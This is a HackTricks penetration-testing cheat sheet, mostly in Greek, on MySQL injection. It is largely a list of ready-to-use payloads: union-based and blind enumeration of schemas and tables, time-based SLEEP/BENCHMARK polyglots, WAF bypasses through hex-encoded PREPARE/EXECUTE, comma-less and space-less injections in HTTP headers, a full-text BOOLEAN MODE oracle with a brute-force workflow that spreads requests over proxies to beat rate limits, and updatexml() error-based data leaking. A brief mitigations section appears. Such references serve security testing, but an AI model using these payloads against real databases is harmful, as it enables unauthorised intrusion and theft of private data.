MySQL injection

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Σχόλια

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Συναρτήσεις Ενδιαφέροντος

Επιβεβαίωση Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Χρήσιμες συναρτήσεις

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Όλες injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

από https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Ροή

Θυμηθείτε ότι στις “μοντέρνες” εκδόσεις του MySQL μπορείτε να αντικαταστήσετε “information_schema.tables” με “mysql.innodb_table_stats (Αυτό μπορεί να είναι χρήσιμο για να παρακάμψετε WAFs).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Μόνο 1 τιμή

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' ή substring(version(),X,1)=0x70 ή ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Εντοπισμός αριθμού στηλών

Χρησιμοποιώντας ένα απλό ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Μάθετε εδώ διαφορετικές επιλογές για να abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Εκτέλεση queries μέσω Prepared Statements

Όταν επιτρέπονται τα stacked queries, μπορεί να είναι δυνατή η παράκαμψη των WAFs αναθέτοντας σε μια μεταβλητή την hex αναπαράσταση του query που θέλετε να εκτελέσετε (χρησιμοποιώντας SET), και στη συνέχεια χρησιμοποιώντας τις δηλώσεις PREPARE και EXECUTE της MySQL για να εκτελέσετε τελικά το query. Κάτι σαν αυτό:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Για περισσότερες πληροφορίες ανατρέξτε σε this blog post.

Εναλλακτικές για Information_schema

Να θυμάστε ότι σε «σύγχρονες» εκδόσεις του MySQL μπορείτε να αντικαταστήσετε το information_schema.tables με mysql.innodb_table_stats ή με sys.x$schema_flattened_keys ή με sys.schema_table_statistics

MySQLinjection χωρίς ΚΟΜΜΑΤΑ

Select 2 columns χωρίς να χρησιμοποιήσετε κανένα κόμμα (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Ανάκτηση τιμών χωρίς το όνομα της στήλης

Αν γνωρίζετε το όνομα του πίνακα αλλά όχι τα ονόματα των στηλών, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι σαν:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Υποθέτοντας ότι υπάρχουν 2 στήλες (όπου η πρώτη είναι το ID) και η άλλη είναι το flag, μπορείτε να προσπαθήσετε να bruteforce το περιεχόμενο του flag δοκιμάζοντας χαρακτήρα-χαρακτήρα:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Κάποιες εφαρμογές καθαρίζουν ή επεξεργάζονται την είσοδο του χρήστη με συναρτήσεις όπως sscanf("%128s", buf), οι οποίες σταματούν στον πρώτο χαρακτήρα space. Επειδή το MySQL αντιμετωπίζει την ακολουθία /**/ ως σχόλιο και ως whitespace, μπορεί να χρησιμοποιηθεί για να αφαιρέσει εντελώς τα κανονικά spaces από το payload ενώ το query παραμένει συντακτικά έγκυρο.

Example time-based blind injection bypassing the space filter:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Το οποίο η βάση δεδομένων λαμβάνει ως:

' OR SLEEP(5)-- -'

Αυτό είναι ιδιαίτερα χρήσιμο όταν:

  • Το ελεγχόμενο buffer έχει περιορισμένο μέγεθος (π.χ. %128s) και τα κενά θα τερμάτιζαν πρόωρα την είσοδο.
  • Ένεση μέσω HTTP headers ή άλλων πεδίων όπου τα κανονικά κενά αφαιρούνται ή χρησιμοποιούνται ως διαχωριστικά.
  • Συνδυασμένο με primitives INTO OUTFILE για να επιτευχθεί πλήρες pre-auth RCE (βλ. την ενότητα MySQL File RCE).

Ιστορικό MySQL

Μπορείτε να δείτε άλλες εκτελέσεις μέσα στο MySQL διαβάζοντας τον πίνακα: sys.x$statement_analysis

Εναλλακτικές εκδόσεις

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

Αυτό δεν είναι κλασική SQL injection. Όταν οι προγραμματιστές περνούν είσοδο χρήστη στο MATCH(col) AGAINST('...' IN BOOLEAN MODE), η MySQL εκτελεί ένα πλούσιο σύνολο τελεστών Boolean αναζήτησης εντός της συμβολοσειράς σε εισαγωγικά. Πολλοί κανόνες WAF/SAST εστιάζουν μόνο στο σπάσιμο εισαγωγικών και παραβλέπουν αυτήν την επιφάνεια.

Κύρια σημεία:

  • Οι τελεστές αξιολογούνται εντός των εισαγωγικών: + (πρέπει να περιέχει), - (δεν πρέπει να περιέχει), * (wildcard στο τέλος), "...(ακριβής φράση),()(ομαδοποίηση),</>/~` (βάρη). Δες την τεκμηρίωση της MySQL.
  • Αυτό επιτρέπει δοκιμές παρουσίας/απουσίας και ελέγχους προθέματος χωρίς να γίνεται έξοδος από το string literal, π.χ. AGAINST('+admin*' IN BOOLEAN MODE) για να ελέγξει αν οποιοσδήποτε όρος ξεκινά με admin.
  • Χρήσιμο για την κατασκευή oracles, όπως «περιέχει κάποια γραμμή όρο με πρόθεμα X;» και για την απαρίθμηση κρυφών συμβολοσειρών μέσω επέκτασης προθέματος.

Παράδειγμα query που δημιουργείται από το backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Αν η εφαρμογή επιστρέφει διαφορετικές αποκρίσεις ανάλογα με το αν το result set είναι κενό (π.χ. redirect vs. error message), αυτή η συμπεριφορά γίνεται ένα Boolean oracle που μπορεί να χρησιμοποιηθεί για να απαριθμήσει ιδιωτικά δεδομένα όπως hidden/deleted titles.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: αν το backend trims 1–2 trailing characters per word via a regex like (\b.{1,2})(\s)|(\b.{1,2}$), submit prefix*ZZ. Ο cleaner trims τα ZZ αλλά αφήνει το *, οπότε το prefix* επιβιώνει.
  • Early-break stripping: αν ο κώδικας strips operators per word αλλά σταματάει την επεξεργασία όταν βρει οποιονδήποτε token με μήκος ≥ min length, send two tokens: το πρώτο είναι ένα junk token που meets the length threshold, το δεύτερο carries το operator payload. Για παράδειγμα: &&&&& +jack*ZZ → after cleaning: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 είναι &, %2B είναι +. Το τελικό xD (ή οποιαδήποτε δύο γράμματα) κόβεται από τον cleaner, διατηρώντας {FUZZ}*.
  • Θεώρησε ένα redirect ως “match” και μια σελίδα σφάλματος ως “no match”. Μη ακολουθείς αυτόματα redirects για να διατηρήσεις το oracle παρατηρήσιμο.

Enumeration workflow:

  1. Ξεκίνα με {FUZZ} = a…z,0…9 για να βρεις αντιστοιχίες πρώτου γράμματος μέσω +a*, +b*, …
  2. Για κάθε θετικό πρόθεμα, διακλάδωσε: a* → aa* / ab* / …. Επανάλαβε για να ανακτήσεις ολόκληρη τη συμβολοσειρά.
  3. Διαμοίρασε τα αιτήματα (proxies, πολλαπλοί λογαριασμοί) αν η εφαρμογή επιβάλλει flood control.

Why titles often leak while contents don’t:

  • Μερικές εφαρμογές εφαρμόζουν ελέγχους ορατότητας μόνο μετά από ένα προκαταρκτικό MATCH σε τίτλους/subjects. Αν η control-flow εξαρτάται από το αποτέλεσμα “any results?” πριν το φιλτράρισμα, προκύπτουν existence leaks.

Mitigations:

  • Αν δεν χρειάζεσαι Boolean logic, χρησιμοποίησε IN NATURAL LANGUAGE MODE ή αντιμετώπισε την είσοδο χρήστη ως literal (escape/quote απενεργοποιούν operators σε άλλες modes).
  • Αν απαιτείται Boolean mode, αφαίρεσε ή αδρανοποίησε όλους τους Boolean operators (+ - * " ( ) < > ~) για κάθε token (χωρίς πρώιμα breaks) μετά την tokenization.
  • Εφάρμοσε visibility/authorization φίλτρα πριν το MATCH, ή ενοποίησε τις απαντήσεις (σταθερός timing/status) όταν το result set είναι empty vs. non-empty.
  • Εξέτασε αντίστοιχες λειτουργίες σε άλλα DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS επίσης αναλύουν operators μέσα σε quoted arguments.

Notes:

  • Prepared statements δεν προστατεύουν από semantic abuse του REGEXP ή των search operators. Μια είσοδος όπως .* παραμένει permissive regex ακόμη και μέσα σε ένα quoted REGEXP '.*'. Χρησιμοποίησε allow-lists ή ρητά guards.

Error-based exfiltration via updatexml()

When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:

dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}

updatexml() προκαλεί σφάλμα XPATH που ενσωματώνει τη συνενωμένη συμβολοσειρά, οπότε η τιμή από το εσωτερικό SELECT εμφανίζεται στην απάντηση σφάλματος μεταξύ οριοθετών (0x7e = ~). Επαναλάβετε με LIMIT 1 OFFSET N για να απαριθμήσετε τις σειρές. Αυτό λειτουργεί ακόμα και όταν το UI αναγκάζει “boolean” tests επειδή το μήνυμα σφάλματος εξακολουθεί να εμφανίζεται.

Άλλοι οδηγοί MYSQL injection

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks